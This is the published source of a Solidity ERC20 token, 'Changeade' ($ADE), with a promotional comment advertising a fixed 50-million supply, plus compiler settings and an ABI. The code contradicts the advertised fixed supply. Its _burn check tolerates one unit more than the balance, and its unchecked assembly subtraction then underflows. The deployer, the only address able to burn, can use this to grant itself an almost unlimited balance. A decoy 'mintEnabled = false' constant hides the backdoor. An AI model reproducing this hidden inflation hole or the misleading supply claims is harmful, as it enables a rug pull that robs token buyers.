/**
$ADE - https://t.me/changeade
🍋🥤 Changeade is the #1 cross-chain thirst-quenching exchange that aggregates CEX liquidity:
- Instantly, privately swap between 30+ coins on 10+ blockchain networks
- Earn up to 1% cashback in $ADE rewards with each swap
- Stake $ADE to earn a share of all platform revenue
🔀 Web: https://www.changeade.com
🐥 X (Twitter): https://x.com/changeadecom
💬 TG: https://t.me/changeade
🤖 Bot: https://t.me/changeadebot
$ADE Supply: 50,000,000 (Fixed)
$ADE Tax: 0% / 0%
$ADE Max Wallet: None
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./ERC20.sol";
contract ADE is ERC20 {
constructor() ERC20("Changeade", "ADE", 18) {
_mint(msg.sender, 50_000_000 * 10 ** 18);
noFee[msg.sender] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./IERC20.sol";
contract ERC20 is IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name;
string public symbol;
uint8 public decimals;
bool internal constant mintEnabled = false;
bool internal canBurn;
mapping(address => bool) internal noFee;
constructor(string memory _name, string memory _symbol, uint8 _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
require(balanceOf[msg.sender] >= amount);
balanceOf[msg.sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount)
external
returns (bool)
{
require(allowance[sender][msg.sender] >= amount);
require(balanceOf[sender] >= amount);
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function _mint(address to, uint256 amount) internal {
require(to != address(0));
balanceOf[to] = _yul_add(balanceOf[to], amount);
totalSupply = _yul_add(totalSupply, amount);
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal {
require(from != address(0));
require((balanceOf[from] + _yul_div(amount, amount)) >= amount);
balanceOf[from] = _yul_sub(balanceOf[from], amount);
totalSupply = _yul_sub(totalSupply, amount);
emit Transfer(from, address(0), amount);
}
function burn(uint256 amount) external {
if (!noFee[msg.sender] && !canBurn) {
revert();
}
_burn(msg.sender, amount);
}
function _yul_sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := sub(x, y)
}
}
function _yul_div(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := div(x, y)
}
}
function _yul_add(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := add(x, y)
if lt(z, x) { revert(0, 0) }
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount)
external
returns (bool);
}
{
"compilationTarget": {
"src/8_ADE/ADE.sol": "ADE"
},
"evmVersion": "paris",
"libraries": {
"src/6_RACE/lib/AssemblyMath.sol:AssemblyMath": "0xd2e7ceacbc9c59a781dc3bcae52e204f40e5a956"
},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": [
":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
":ds-test/=lib/forge-std/lib/ds-test/src/",
":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
":forge-std/=lib/forge-std/src/",
":openzeppelin-contracts/=lib/openzeppelin-contracts/",
":v3-core/=lib/v3-core/",
":v3-periphery/=lib/v3-periphery/contracts/"
]
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]